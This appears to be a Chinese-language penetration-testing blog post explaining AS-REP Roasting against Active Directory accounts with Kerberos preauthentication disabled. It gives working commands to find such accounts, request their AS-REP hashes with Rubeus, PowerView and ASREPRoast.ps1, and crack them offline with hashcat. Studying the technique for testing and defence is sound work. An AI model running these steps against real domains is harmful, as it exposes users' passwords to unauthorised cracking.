内网渗透(五) | AS-REP Roasting攻击

2022-01-19 19:56:55 浏览数 (1)

作者:谢公子

CSDN安全博客专家,擅长渗透测试、Web安全攻防、红蓝对抗。

AS-REP Roasting攻击

AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式。但是该攻击方式利用比较局限,因为其需要用户账号设置 "Do not require Kerberos preauthentication(不需要kerberos预身份验证) " 。而该属性默认是没有勾选上的。

预身份验证是Kerberos身份验证的第一步(AS_REQ & AS_REP),它的主要作用是防止密码脱机爆破。默认情况下,预身份验证是开启的,KDC会记录密码错误次数,防止在线爆破。关于 AS_REQ & AS_REP:域内认证之Kerberos协议详解。

当关闭了预身份验证后,攻击者可以使用指定用户去请求票据,此时域控不会作任何验证就将 TGT票据 和 该用户Hash加密的Session Key返回。因此,攻击者就可以对获取到的 用户Hash加密的Session Key进行离线破解,如果破解成功,就能得到该指定用户的密码明文。

AS-REP Roasting攻击条件

  • 域用户设置了 “ Do not require Kerberos preauthentication(不需要kerberos预身份验证) ”
  • 需要一台可与KDC进行通信的主机/用户

普通域用户下

方法一:使用 Rubeus.exe

1:使用rubeus.exe获得Hash

代码语言:javascript复制
Rubeus.exe asreproast

2:使用hashcat对获得的Hash进行爆破

将hash.txt里面的除Hash字段其他的都删除,复制到hashcat目录下,并且修改为hashcat能识别的格式,在krb5asrep后面添加23拼接。

然后使用以下命令爆破

代码语言:javascript复制
 hashcat64.exe -m 18200 hash.txt pass.txt --force

方法二:使用powershell脚本

1:使用Empire下的powerview.ps1查找域中设置了 "不需要kerberos预身份验证" 的用户

代码语言:javascript复制
 Import-Module .powerview.ps1
 Get-DomainUser -PreauthNotRequired

2:使用ASREPRoast.ps1获取AS-REP返回的Hash

代码语言:javascript复制
Import-Module .ASREPRoast.ps1
Get-ASREPHash -UserName hack2 -Domain xie.com | Out-File -Encoding ASCII hash.txt

3:使用hashcat对获得的Hash进行爆破

将hash.txt复制到hashcat目录下,并且修改为hashcat能识别的格式,在krb5asrep后面添加23拼接。然后使用以下命令爆破。

代码语言:javascript复制
hashcat64.exe -m 18200 hash.txt pass.txt --force

非域内机器

1:对于非域内的机器,无法通过LDAP来发起用户名的查询。

2:所以要想获取 "不需要kerberos预身份验证" 的域内账号,只能通过枚举用户名的方式来获得。而AS-REP Hash方面。非域内的主机,只要能和DC通信,便可以获取到。使用Get-ASREPHash,通过指定Server的参数即可

代码语言:javascript复制
Import-Module .ASREPRoast.ps1
Get-ASREPHash -UserName hack2 -Domain xie.com -Server 192.168.10.131 | Out-File -Encoding ASCII hash.txt

3:获取到Hash后,使用hashcat对其爆破,和上面一样,这里就不演示了。

0 人点赞